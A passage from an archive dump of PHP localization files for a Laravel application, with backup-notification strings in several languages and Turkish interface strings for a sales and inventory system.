'Les sauvegardes pour :application_name sur le disque :disk_name sont corrompues.', 'unhealthy_backup_found_not_reachable' => 'La destination de la sauvegarde n\'est pas accessible. :error', 'unhealthy_backup_found_empty' => 'Il n\'y a aucune sauvegarde pour cette application.', 'unhealthy_backup_found_old' => 'La dernière sauvegarde du :date est considérée trop vieille.', 'unhealthy_backup_found_unknown' => 'Désolé, une raison exacte ne peut être déterminée.', 'unhealthy_backup_found_full' => 'Les sauvegardes utilisent trop d\'espace disque. L\'utilisation actuelle est de :disk_usage alors que la limite autorisée est de :disk_limit.', 'no_backups_info' => 'Aucune sauvegarde n\'a encore été effectuée', 'application_name' => 'Nom de l\'application', 'backup_name' => 'Nom de la sauvegarde', 'disk' => 'Disque', 'newest_backup_size' => 'Taille de la sauvegarde la plus récente', 'number_of_backups' => 'Nombre de sauvegardes', 'total_storage_used' => 'Stockage total utilisé', 'newest_backup_date' => 'Date de la sauvegarde la plus récente', 'oldest_backup_date' => 'Date de la sauvegarde la plus ancienne', ]; PK G �Z!=�� � " vendor/backup/da/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Fejlbesked: :message', 'exception_trace' => 'Fejl trace: :trace', 'exception_message_title' => 'Fejlbesked', 'exception_trace_title' => 'Fejl trace', 'backup_failed_subject' => 'Backup af :application_name fejlede', 'backup_failed_body' => 'Vigtigt: Der skete en fejl under backup af :application_name', 'backup_successful_subject' => 'Ny backup af :application_name oprettet', 'backup_successful_subject_title' => 'Ny backup!', 'backup_successful_body' => 'Gode nyheder - der blev oprettet en ny backup af :application_name på disken :disk_name.', 'cleanup_failed_subject' => 'Oprydning af backups for :application_name fejlede.', 'cleanup_failed_body' => 'Der skete en fejl under oprydning af backups for :application_name', 'cleanup_successful_subject' => 'Oprydning af backups for :application_name gennemført', 'cleanup_successful_subject_title' => 'Backup oprydning gennemført!', 'cleanup_successful_body' => 'Oprydningen af backups for :application_name på disken :disk_name er gennemført.', 'healthy_backup_found_subject' => 'Alle backups for :application_name på disken :disk_name er OK', 'healthy_backup_found_subject_title' => 'Alle backups for :application_name er OK', 'healthy_backup_found_body' => 'Alle backups for :application_name er ok. Godt gået!', 'unhealthy_backup_found_subject' => 'Vigtigt: Backups for :application_name fejlbehæftede', 'unhealthy_backup_found_subject_title' => 'Vigtigt: Backups for :application_name er fejlbehæftede. :problem', 'unhealthy_backup_found_body' => 'Backups for :application_name på disken :disk_name er fejlbehæftede.', 'unhealthy_backup_found_not_reachable' => 'Backup destinationen kunne ikke findes. :error', 'unhealthy_backup_found_empty' => 'Denne applikation har ingen backups overhovedet.', 'unhealthy_backup_found_old' => 'Den seneste backup fra :date er for gammel.', 'unhealthy_backup_found_unknown' => 'Beklager, en præcis årsag kunne ikke findes.', 'unhealthy_backup_found_full' => 'Backups bruger for meget plads. Nuværende disk forbrug er :disk_usage, hvilket er mere end den tilladte grænse på :disk_limit.', 'no_backups_info' => 'Der blev ikke foretaget nogen sikkerhedskopier endnu', 'application_name' => 'Ansøgningens navn', 'backup_name' => 'Backup navn', 'disk' => 'Disk', 'newest_backup_size' => 'Nyeste backup-størrelse', 'number_of_backups' => 'Antal sikkerhedskopier', 'total_storage_used' => 'Samlet lagerplads brugt', 'newest_backup_date' => 'Nyeste backup-størrelse', 'oldest_backup_date' => 'Ældste backup-størrelse', ]; PK G �Z���� � " vendor/backup/bn/notifications.phpnu �[��� <?php return [ 'exception_message' => 'এক্সসেপশন বার্তা: :message', 'exception_trace' => 'এক্সসেপশন ট্রেস: :trace', 'exception_message_title' => 'এক্সসেপশন message', 'exception_trace_title' => 'এক্সসেপশন ট্রেস', 'backup_failed_subject' => ':application_name এর ব্যাকআপ ব্যর্থ হয়েছে।', 'backup_failed_body' => 'গুরুত্বপূর্ণঃ :application_name ব্যাক আপ করার সময় একটি ত্রুটি ঘটেছে।', 'backup_successful_subject' => ':application_name এর নতুন ব্যাকআপ সফল হয়েছে।', 'backup_successful_subject_title' => 'নতুন ব্যাকআপ সফল হয়েছে!', 'backup_successful_body' => 'খুশির খবর, :application_name এর নতুন ব্যাকআপ :disk_name ডিস্কে সফলভাবে তৈরি হয়েছে।', 'cleanup_failed_subject' => ':application_name ব্যাকআপগুলি সাফ করতে ব্যর্থ হয়েছে।', 'cleanup_failed_body' => ':application_name ব্যাকআপগুলি সাফ করার সময় একটি ত্রুটি ঘটেছে।', 'cleanup_successful_subject' => ':application_name এর ব্যাকআপগুলি সফলভাবে সাফ করা হয়েছে।', 'cleanup_successful_subject_title' => 'ব্যাকআপগুলি সফলভাবে সাফ করা হয়েছে!', 'cleanup_successful_body' => ':application_name এর ব্যাকআপগুলি :disk_name ডিস্ক থেকে সফলভাবে সাফ করা হয়েছে।', 'healthy_backup_found_subject' => ':application_name এর ব্যাকআপগুলি :disk_name ডিস্কে স্বাস্থ্যকর অবস্থায় আছে।', 'healthy_backup_found_subject_title' => ':application_name এর ব্যাকআপগুলি স্বাস্থ্যকর অবস্থায় আছে।', 'healthy_backup_found_body' => ':application_name এর ব্যাকআপগুলি স্বাস্থ্যকর বিবেচনা করা হচ্ছে। Good job!', 'unhealthy_backup_found_subject' => 'গুরুত্বপূর্ণঃ :application_name এর ব্যাকআপগুলি অস্বাস্থ্যকর অবস্থায় আছে।', 'unhealthy_backup_found_subject_title' => 'গুরুত্বপূর্ণঃ :application_name এর ব্যাকআপগুলি অস্বাস্থ্যকর অবস্থায় আছে। :problem', 'unhealthy_backup_found_body' => ':disk_name ডিস্কের :application_name এর ব্যাকআপগুলি অস্বাস্থ্যকর অবস্থায় আছে।', 'unhealthy_backup_found_not_reachable' => 'ব্যাকআপ গন্তব্যে পৌঁছানো যায় নি। :error', 'unhealthy_backup_found_empty' => 'এই অ্যাপ্লিকেশনটির কোনও ব্যাকআপ নেই।', 'unhealthy_backup_found_old' => 'সর্বশেষ ব্যাকআপ যেটি :date এই তারিখে করা হয়েছে, সেটি খুব পুরানো।', 'unhealthy_backup_found_unknown' => 'দুঃখিত, সঠিক কারণ নির্ধারণ করা সম্ভব হয়নি।', 'unhealthy_backup_found_full' => 'ব্যাকআপগুলি অতিরিক্ত স্টোরেজ ব্যবহার করছে। বর্তমান ব্যবহারের পরিমান :disk_usage যা অনুমোদিত সীমা :disk_limit এর বেশি।', 'no_backups_info' => 'কোনো ব্যাকআপ এখনও তৈরি হয়নি', 'application_name' => 'আবেদনের নাম', 'backup_name' => 'ব্যাকআপের নাম', 'disk' => 'ডিস্ক', 'newest_backup_size' => 'নতুন ব্যাকআপ আকার', 'number_of_backups' => 'ব্যাকআপের সংখ্যা', 'total_storage_used' => 'ব্যবহৃত মোট সঞ্চয়স্থান', 'newest_backup_date' => 'নতুন ব্যাকআপের তারিখ', 'oldest_backup_date' => 'পুরানো ব্যাকআপের তারিখ', ]; PK G �Zr� � � " vendor/backup/tr/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Hata mesajı: :message', 'exception_trace' => 'Hata izleri: :trace', 'exception_message_title' => 'Hata mesajı', 'exception_trace_title' => 'Hata izleri', 'backup_failed_subject' => 'Yedeklenemedi :application_name', 'backup_failed_body' => 'Önemli: Yedeklenirken bir hata oluştu :application_name', 'backup_successful_subject' => 'Başarılı :application_name yeni yedeklemesi', 'backup_successful_subject_title' => 'Başarılı bir yeni yedekleme!', 'backup_successful_body' => 'Harika bir haber, :application_name âit yeni bir yedekleme :disk_name adlı diskte başarıyla oluşturuldu.', 'cleanup_failed_subject' => ':application_name yedeklemeleri temizlenmesi başarısız.', 'cleanup_failed_body' => ':application_name yedeklerini temizlerken bir hata oluştu ', 'cleanup_successful_subject' => ':application_name yedeklemeleri temizlenmesi başarılı.', 'cleanup_successful_subject_title' => 'Yedeklerin temizlenmesi başarılı!', 'cleanup_successful_body' => ':application_name yedeklemeleri temizlenmesi ,:disk_name diskinden silindi', 'healthy_backup_found_subject' => ':application_name yedeklenmesi ,:disk_name adlı diskte sağlıklı', 'healthy_backup_found_subject_title' => ':application_name yedeklenmesi sağlıklı', 'healthy_backup_found_body' => ':application_name için yapılan yedeklemeler sağlıklı sayılır. Aferin!', 'unhealthy_backup_found_subject' => 'Önemli: :application_name için yedeklemeler sağlıksız', 'unhealthy_backup_found_subject_title' => 'Önemli: :application_name için yedeklemeler sağlıksız. :problem', 'unhealthy_backup_found_body' => 'Yedeklemeler: :application_name disk: :disk_name sağlıksız.', 'unhealthy_backup_found_not_reachable' => 'Yedekleme hedefine ulaşılamıyor. :error', 'unhealthy_backup_found_empty' => 'Bu uygulamanın yedekleri yok.', 'unhealthy_backup_found_old' => ':date tarihinde yapılan en son yedekleme çok eski kabul ediliyor.', 'unhealthy_backup_found_unknown' => 'Üzgünüm, kesin bir sebep belirlenemiyor.', 'unhealthy_backup_found_full' => 'Yedeklemeler çok fazla depolama alanı kullanıyor. Şu anki kullanım: :disk_usage, izin verilen sınırdan yüksek: :disk_limit.', 'no_backups_info' => 'Henüz yedekleme yapılmadı', 'application_name' => 'Uygulama Adı', 'backup_name' => 'Yedek adı', 'disk' => 'Disk', 'newest_backup_size' => 'En yeni yedekleme boyutu', 'number_of_backups' => 'Yedekleme sayısı', 'total_storage_used' => 'Kullanılan toplam depolama alanı', 'newest_backup_date' => 'En yeni yedekleme boyutu', 'oldest_backup_date' => 'En eski yedekleme boyutu', ]; PK G �Z�I6 Q Q " vendor/backup/nl/notifications.phpnu �[��� <?php return [ 'exception_message' => 'Fout bericht: :message', 'exception_trace' => 'Fout trace: :trace', 'exception_message_title' => 'Fout bericht', 'exception_trace_title' => 'Fout trace', 'backup_failed_subject' => 'Back-up van :application_name mislukt', 'backup_failed_body' => 'Belangrijk: Er ging iets fout tijdens het maken van een back-up van :application_name', 'backup_successful_subject' => 'Succesvolle nieuwe back-up van :application_name', 'backup_successful_subject_title' => 'Succesvolle nieuwe back-up!', 'backup_successful_body' => 'Goed nieuws, een nieuwe back-up van :application_name was succesvol aangemaakt op de schijf genaamd :disk_name.', 'cleanup_failed_subject' => 'Het opschonen van de back-ups van :application_name is mislukt.', 'cleanup_failed_body' => 'Er ging iets fout tijdens het opschonen van de back-ups van :application_name', 'cleanup_successful_subject' => 'Opschonen van :application_name back-ups was succesvol.', 'cleanup_successful_subject_title' => 'Opschonen van back-ups was succesvol!', 'cleanup_successful_body' => 'Het opschonen van de :application_name back-ups op de schijf genaamd :disk_name was succesvol.', 'healthy_backup_found_subject' => 'De back-ups voor :application_name op schijf :disk_name zijn gezond', 'healthy_backup_found_subject_title' => 'De back-ups voor :application_name zijn gezond', 'healthy_backup_found_body' => 'De back-ups voor :application_name worden als gezond beschouwd. Goed gedaan!', 'unhealthy_backup_found_subject' => 'Belangrijk: De back-ups voor :application_name zijn niet meer gezond', 'unhealthy_backup_found_subject_title' => 'Belangrijk: De back-ups voor :application_name zijn niet gezond. :problem', 'unhealthy_backup_found_body' => 'De back-ups voor :application_name op schijf :disk_name zijn niet gezond.', 'unhealthy_backup_found_not_reachable' => 'De back-upbestemming kon niet worden bereikt. :error', 'unhealthy_backup_found_empty' => 'Er zijn geen back-ups van deze applicatie beschikbaar.', 'unhealthy_backup_found_old' => 'De laatste back-up gemaakt op :date is te oud.', 'unhealthy_backup_found_unknown' => 'Sorry, een exacte reden kon niet worden bepaald.', 'unhealthy_backup_found_full' => 'De back-ups gebruiken te veel opslagruimte. Momenteel wordt er :disk_usage gebruikt wat hoger is dan de toegestane limiet van :disk_limit.', 'no_backups_info' => 'Er zijn nog geen back-ups gemaakt', 'application_name' => 'Naam van de toepassing', 'backup_name' => 'Back-upnaam', 'disk' => 'Schijf', 'newest_backup_size' => 'Nieuwste back-upgrootte', 'number_of_backups' => 'Aantal back-ups', 'total_storage_used' => 'Totale gebruikte opslagruimte', 'newest_backup_date' => 'Datum nieuwste back-up', 'oldest_backup_date' => 'Datum oudste back-up', ]; PK G �ZRKP> > " vendor/backup/fa/notifications.phpnu �[��� <?php return [ 'exception_message' => 'پیغام خطا: :message', 'exception_trace' => 'جزییات خطا: :trace', 'exception_message_title' => 'پیغام خطا', 'exception_trace_title' => 'جزییات خطا', 'backup_failed_subject' => 'پشتیبانگیری :application_name با خطا مواجه شد.', 'backup_failed_body' => 'پیغام مهم: هنگام پشتیبانگیری از :application_name خطایی رخ داده است. ', 'backup_successful_subject' => 'نسخه پشتیبان جدید :application_name با موفقیت ساخته شد.', 'backup_successful_subject_title' => 'پشتیبانگیری موفق!', 'backup_successful_body' => 'خبر خوب, به تازگی نسخه پشتیبان :application_name بر روی دیسک :disk_name با موفقیت ساخته شد. ', 'cleanup_failed_subject' => 'پاکسازی نسخه پشتیبان :application_name انجام نشد.', 'cleanup_failed_body' => 'هنگام پاکسازی نسخه پشتیبان :application_name خطایی رخ داده است.', 'cleanup_successful_subject' => 'پاکسازی نسخه پشتیبان :application_name با موفقیت انجام شد.', 'cleanup_successful_subject_title' => 'پاکسازی نسخه پشتیبان!', 'cleanup_successful_body' => 'پاکسازی نسخه پشتیبان :application_name بر روی دیسک :disk_name با موفقیت انجام شد.', 'healthy_backup_found_subject' => 'نسخه پشتیبان :application_name بر روی دیسک :disk_name سالم بود.', 'healthy_backup_found_subject_title' => 'نسخه پشتیبان :application_name سالم بود.', 'healthy_backup_found_body' => 'نسخه پشتیبان :application_name به نظر سالم میاد. دمت گرم!', 'unhealthy_backup_found_subject' => 'خبر مهم: نسخه پشتیبان :application_name سالم نبود.', 'unhealthy_backup_found_subject_title' => 'خبر مهم: نسخه پشتیبان :application_name سالم نبود. :problem', 'unhealthy_backup_found_body' => 'نسخه پشتیبان :application_name بر روی دیسک :disk_name سالم نبود.', 'unhealthy_backup_found_not_reachable' => 'مقصد پشتیبانگیری در دسترس نبود. :error', 'unhealthy_backup_found_empty' => 'برای این برنامه هیچ نسخه پشتیبانی وجود ندارد.', 'unhealthy_backup_found_old' => 'آخرین نسخه پشتیبان برای تاریخ :date است. که به نظر خیلی قدیمی میاد. ', 'unhealthy_backup_found_unknown' => 'متاسفانه دلیل دقیق مشخص نشده است.', 'unhealthy_backup_found_full' => 'نسخههای پشتیبانی که تهیه کرده اید حجم زیادی اشغال کرده اند. میزان دیسک استفاده شده :disk_usage است که از میزان مجاز :disk_limit فراتر رفته است. ', 'no_backups_info' => 'هنوز نسخه پشتیبان تهیه نشده است', 'application_name' => 'نام نرم افزار', 'backup_name' => 'نام پشتیبان', 'disk' => 'دیسک', 'newest_backup_size' => 'جدیدترین اندازه پشتیبان', 'number_of_backups' => 'تعداد پشتیبان گیری', 'total_storage_used' => 'کل فضای ذخیره سازی استفاده شده', 'newest_backup_date' => 'جدیدترین اندازه پشتیبان', 'oldest_backup_date' => 'قدیمی ترین اندازه پشتیبان', ]; PK G �Z8犔a a tr/expense.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Expense Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Expense CRUD operations. | */ 'expenses' => 'Giderler', 'expense_categories' => 'Gider Kategorileri', 'manage_your_expense_categories' => 'Gider kategorilerinizi yönetin', 'all_your_expense_categories' => 'Tüm gider kategorileriniz', 'expense_category' => 'Gider Kategorisi', 'category_name' => 'Kategori Adı', 'category_code' => 'Kategori Kodu', 'added_success' => 'Gider kategorisi başarıyla eklendi', 'updated_success' => 'Gider kategorisi başarıyla güncellendi', 'deleted_success' => 'Gider kategorisi başarıyla silindi', 'add_expense_category' => 'Gider Kategorisi Ekle', 'edit_expense_category' => 'Gider Kategorisi Düzenle', 'all_expenses' => 'Tüm giderler', 'expense_status' => 'Gider durumu', 'add_expense' => 'Gider Ekle', 'edit_expense' => 'Gider Düzenle', 'expense_note' => 'Gider Notu', 'expense_add_success' => 'Gider başarıyla eklendi', 'expense_update_success' => 'Gider başarıyla güncellendi', 'expense_delete_success' => 'Gider başarıyla silindi', 'expense_for' => 'Gideri', ]; PK G �Z0��� tr/messages.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Common Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during common CRUD operations. | */ 'add' => 'Ekle', 'edit' => 'Düzenle', 'save' => 'Kaydet', 'update' => 'Güncelle', 'action' => 'Eylem', 'actions' => 'Eylemler', 'view' => 'Gör', 'delete' => 'Sil', 'close' => 'Kapat', 'something_went_wrong' => 'Bir şeyler yanlış gitti. Lütfen daha sonra tekrar deneyiniz', 'required' => 'Bu alan gereklidir', 'please_select' => 'Lütfen seçin', 'cancel' => 'İptal', 'date' => 'Tarih', 'filter_by_date' => 'Tarih Filtresi', 'location' => 'Lokasyon', 'go_back' => 'Geri Dön', 'due_tooltip' => '-ve Değer = Ödenecek miktar <br> +ve Değer = Alınacak miktar', 'purchase_due_tooltip' => '-ve Değer = Alınacak miktar <br> +ve Değer = Ödenecek miktar', 'yes' => 'Evet', 'no' => 'Hayır', 'all' => 'Hepsi', 'settings' => 'Ayarlar', 'business_location_settings' => 'İşletme Şube Ayarları', 'print' => 'Yazdır', 'submit' => 'Onayla', 'purchase_sell_mismatch_exception' => 'Hata: İzin Verilmiyor: Satılan ve satın alınan miktar arasındaki uyumsuzluk. Ürün: :product', 'purchase_stock_adjustment_mismatch_exception' => 'EHata: İzin Verilmiyor: Stok ayarlama ve satın alma miktarı arasındaki uyumsuzluk. Ürün: :product', 'transaction_edit_not_allowed' => 'İşlem düzenlemeye belirtilen günden sonra izin verilmiyor :days gün.', 'name' => 'İsim', 'price' => 'Fiyat', 'activate' => 'Etkinleştir', 'deactivate' => 'Devre Dışı Bırak', ]; PK G �ZN[7 7 tr/stock_adjustment.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Stock Adjustment Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Stock Adjustment CRUD operations. | */ 'stock_adjustment' => 'Stok Ayarı', 'stock_adjustments' => 'Stok Ayarları', 'list' => 'Stok Ayarlarını Listele', 'add' => 'Stok Ayarı Ekle', 'all_stock_adjustments' => 'Tüm Stok Ayarları', 'search_product' => 'Stok ayarı için ürün ara', 'adjustment_type' => 'Ayar tipi', 'normal' => 'Normal', 'abnormal' => 'Anormal', 'total_amount' => 'Toplam Tutar', 'total_amount_recovered' => 'Geri kazanılan toplam miktar', 'reason_for_stock_adjustment' => 'Neden', 'stock_adjustment_added_successfully' => 'Stok ayarı başarıyla eklendi', 'search_products' => 'Ürün ara', 'delete_success' => 'Stok ayarı başarıyla silindi', 'view_details' => 'Stok ayarı ayrıntılarını gör', ]; PK G �Z.,�E% % tr/home.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Home Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in home page. | */ 'home' => 'Ana Sayfa', 'welcome_message' => 'Hoş geldin :name,', 'total_sell' => 'Toplam Satış', 'total_purchase' => 'Toplam Satınalma', 'invoice_due' => 'Ödenmemiş Fatura', 'purchase_due' => 'Ödenmemiş Satınalma', 'today' => 'Bugün', 'this_week' => 'Bu Hafta', 'this_month' => 'Bu Ay', 'this_fy' => 'Bu Mali Yıl', 'sells_last_30_days' => 'Son 30 Günlük Satış', 'sells_current_fy' => 'Mali Yıl Satışı', 'total_sells' => 'Toplam Satış (:currency)', 'product_stock_alert' => 'Ürün Stok Uyarısı', 'payment_dues' => 'Ödenmemiş Ödemeler', 'due_amount' => 'Ödenmemiş Tutar', 'stock_expiry_alert' => 'Stok Son Kullanma Tarihi Uyarısı', 'todays_profit' => 'Bugünün karı', ]; PK G �ZQaLf^ ^ tr/receipt.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Receipt Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in receipt | */ 'product' => 'Ürün', 'qty' => 'Miktar', 'unit_price' => 'Birim Fiyat', 'subtotal' => 'Ara Toplam', 'discount' => 'İndirim', 'tax' => 'Vergi', 'total' => 'Toplam', 'invoice_number' => 'Fatura No.', 'date' => 'Tarih', 'receipt_settings' => 'Fiş Ayarları', 'receipt_settings_mgs' => 'Bu şube için fişle ilgili tüm ayarlar', 'print_receipt_on_invoice' => 'Otomatik fatura yazdırılsın', 'receipt_printer_type' => 'Fiş Yazıcısı Tipi', 'receipt_settings_updated' => 'Fiş Ayarı başarıyla güncellendi', ]; PK G �Zљ�� � tr/tax_rate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tax Rates Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Tax Rate CRUD operations. | */ 'tax_rates' => 'Vergi oranları', 'manage_your_tax_rates' => 'Vergi oranlarınızı yönetin', 'all_your_tax_rates' => 'Tüm vergi oranlarınız', 'name' => 'Adı', 'rate' => 'Vergi Oranı %', 'added_success' => 'Vergi oranı başarıyla eklendi', 'updated_success' => 'Vergi oranı başarıyla güncellendi', 'deleted_success' => 'Vergi oranı başarıyla silindi', 'add_tax_rate' => 'Vergi Oranı Ekle', 'edit_taxt_rate' => 'Vergi Oranını Düzenle', 'add_tax_group' => 'Vergi grubu ekle', 'tax_group_added_success' => 'Vergi grubu başarıyla eklendi', 'tax_group_updated_success' => 'Vergi grubu başarıyla güncellendi', 'tax_groups' => 'Vergi grupları', 'edit_tax_group' => 'Vergi grubunu düzenle', 'sub_taxes' => 'Alt vergiler', 'can_not_be_deleted' => 'Bu vergi oranı bazı vergi gruplarına aittir.', ]; PK G �Z�}�*� � tr/category.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'categories' => 'Kategoriler', 'manage_your_categories' => 'Kategorilerinizi Yönetin', 'all_your_categories' => 'Tüm Kategorileriniz', 'category' => 'Kategori', 'category_name' => 'Kategori Adı', 'code' => 'Kategori Kodu', 'add_as_sub_category' => 'Alt Kategori Ekle', 'select_parent_category' => 'Ana kategori seç', 'added_success' => 'Kategori başarıyla eklendi', 'updated_success' => 'Kategori başarıyla güncellendi', 'deleted_success' => 'Kategori başarıyla silindi', 'add_category' => 'Kategori ekle', 'edit_category' => 'Kategori Düzenle', ]; PK G �Z t tr/brand.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'brands' => 'Markalar', 'manage_your_brands' => 'Markalarınızı yönetin', 'all_your_brands' => 'Tüm markalarınız', 'note' => 'Not', 'brand_name' => 'Marka Adı', 'short_description' => 'Kısa Açıklama', 'added_success' => 'Marka başarıyla eklendi', 'updated_success' => 'Marka başarıyla güncellendi', 'deleted_success' => 'Marka başarıyla silindi', 'add_brand' => 'Marka Ekle', 'edit_brand' => 'Marka Düzenle', ]; PK G �Z?H,�� � tr/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Bu kimlik bilgileri kayıtlarımızla eşleşmiyor.', 'throttle' => 'Çok fazla giriş denemesi var. Lütfen :saniye saniye içinde tekrar deneyiniz.', ]; PK G �Z�`^ԣ � tr/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages here. | */ 'accepted' => ':attribute Kabul edilmeli.', 'active_url' => ':attribute Geçerli bir URL değil.', 'after' => ':attribute :date tarihinden sonra olmalı.', 'after_or_equal' => ':attribute :date tarihinden sonra veya eşit olmalı.', 'alpha' => ':attribute Sadece harfler içerebilir.', 'alpha_dash' => ':attribute Sadece harfler, rakamlar ve kısa çizgiler semboller içerebilir.', 'alpha_num' => ':attribute Sadece harf ve rakam içerebilir.', 'array' => ':attribute Bir dizi olmalı.', 'before' => ':attribute :date tarihinden önce olmalı.', 'before_or_equal' => ':attribute :date tarihinden önce veya eşit olmalı.', 'between' => [ 'numeric' => ':attribute Belirtilen aralıkta olmalı :min ve :max.', 'file' => ':attribute Belirtilen aralıkta olmalı :min ve :max kilobyte.', 'string' => ':attribute Belirtilen aralıkta olmalı :min ve :max karakter.', 'array' => ':attribute Belirtilen aralıkta olmalı :min ve :max öğeler.', ], 'boolean' => ':attribute Alan doğru(true) veya yanlış(false) olmalı.', 'confirmed' => ':attribute Onay uyuşmuyor.', 'date' => ':attribute Geçerli tarih değil.', 'date_format' => ':attribute Uyuşmayan format :format.', 'different' => ':attribute ve :other farklı olmalı.', 'digits' => ':attribute Bu değer :digits sayı olmalı.', 'digits_between' => ':attribute Aralığı :min ve :max arasında bir sayı olmalıdır.', 'dimensions' => ':attribute Geçersiz resim boyutları var.', 'distinct' => ':attribute Alanın yinelenen bir değeri var.', 'email' => ':attribute Geçerli bir e-posta adresi olmalı.', 'exists' => 'Seçilen :attribute geçersiz.', 'file' => ':attribute Bir dosya olmalı.', 'filled' => ':attribute Alanın bir değeri olmalı.', 'image' => ':attribute Bir resim olmalı.', 'in' => 'Seçilen :attribute geçersiz.', 'in_array' => ':attribute :other içinde alan yok.', 'integer' => ':attribute Tam sayı olmak zorunda.', 'ip' => ':attribute Geçerli bir IP adresi olmak zorunda.', 'ipv4' => ':attribute Geçerli bir IPv4 adresi olmak zorunda.', 'ipv6' => ':attribute Geçerli bir IPv6 adresi olmak zorunda.', 'json' => ':attribute Geçerli bir JSON string olmalı.', 'max' => [ 'numeric' => ':attribute :max Bu değerden daha büyük olamaz.', 'file' => ':attribute :max kilobyte değerinden daha büyük olamaz.', 'string' => ':attribute :max karakter değerinden daha büyük olamaz.', 'array' => ':attribute :max Öğelerden daha fazla olmayabilir.', ], 'mimes' => ':attribute Bu türde bir dosya olmalı: :values.', 'mimetypes' => ':attribute Bu türde bir dosya olmalı: :values.', 'min' => [ 'numeric' => ':attribute en azından :min olmalı.', 'file' => ':attribute en azından :min kilobyte olmalı.', 'string' => ':attribute en azından :min karakter olmalı.', 'array' => ':attribute en azıdnan :min öğe olmalı.', ], 'not_in' => 'Seçilen :attribute geçersiz.', 'numeric' => ':attribute Bir sayı olmalı.', 'present' => ':attribute alanı mevcut olmalıdır.', 'regex' => ':attribute Geçersiz format.', 'required' => ':attribute gerekli alan.', 'required_if' => ':attribute :other , :value olduğunda Alan gereklidir.', 'required_unless' => ':attribute :other , :values olmadıkça Alan gereklidir.', 'required_with' => ':attribute :values mevcut olduğunda alan gereklidir.', 'required_with_all' => ':attribute :values mevcut olduğunda alan gereklidir.', 'required_without' => ':attribute :values mevcut değilse alan gereklidir.', 'required_without_all' => ':attribute :values hiçbiri mevcut değilse alan gereklidir..', 'same' => ':attribute ve :other eşleşmeli.', 'size' => [ 'numeric' => ':attribute :size Olmalıdır.', 'file' => ':attribute :size Kilobyte olmalıdır.', 'string' => ':attribute :size Karakter olmalıdır.', 'array' => ':attribute :size Öğe içermelidir.', ], 'string' => ':attribute Bir string olmalı.', 'timezone' => ':attribute Geçerli bir bölge olmalı.', 'unique' => ':attribute Daha önceden alındı.', 'uploaded' => ':attribute Yüklenirken hata oluştu.', 'url' => ':attribute Geçersiz Format.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'özel mesaj', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [], 'custom-messages' => [ 'quantity_not_available' => 'Sadece :qty :unit uygun', 'this_field_is_required' => 'Bu alan gereklidir', ], ]; PK G �Z&{M� tr/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Önceki', 'next' => 'Sonraki »', ]; PK G �Z�+tg� � tr/contact.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Contact Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during Contacts CRUD operations. | */ 'contacts' => 'Kişiler/Firmalar', 'name' => 'İsim', 'contact' => 'Kişi/Firma', 'manage_your_contact' => 'Kişi/Firmalarınızı Yönetin :contacts', 'all_your_contact' => 'Tüm Kişi/Firmalar :contacts', 'add_contact' => 'Yeni Kişi/Firma Ekle', 'contact_type' => 'Kişi/Firma Tipi', 'tax_no' => 'Vergi Numarası', 'pay_term' => 'Ödeme Şekli', 'pay_term_period' => 'Ödeme Süresi', 'mobile' => 'Cep Telefonu', 'landline' => 'Sabit Telefonu', 'alternate_contact_number' => 'Alternatif Kişi/Firma irtibat numarası', 'edit_contact' => 'Kişi/Firma düzenle', 'added_success' => 'Kişi/Firma başarıyla eklendi', 'updated_success' => 'Kişi/Firma başarıyla güncellendi', 'deleted_success' => 'Kişi/Firma başarıyla silindi', 'add_new_customer' => 'Yeni Müşteri Ekle', 'view_contact' => 'Kişi/Firma Gör', 'contact_info' => ':contact bilgisi', 'all_purchases_linked_to_this_contact' => 'Bu kişi/firmayla ilgili tüm satınalmalar', 'all_sells_linked_to_this_contact' => 'Bu kişi/firmayla ilgili tüm satışlar', 'total_purchase_due' => 'Toplam Ödenecek Satınalma', 'pay_due_amount' => 'Ödenmeyen Tutarı Öde', 'total_paid' => 'Toplam Ödenen', 'total_purchase_paid' => 'Toplam Satınalma Ödemesi', 'total_sale_paid' => 'Toplam Satış Ödemesi', 'total_sale_due' => 'Toplam Ödenecek Satış', 'customer' => 'Müşteri', ]; PK G �ZA�#� � tr/sale.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines 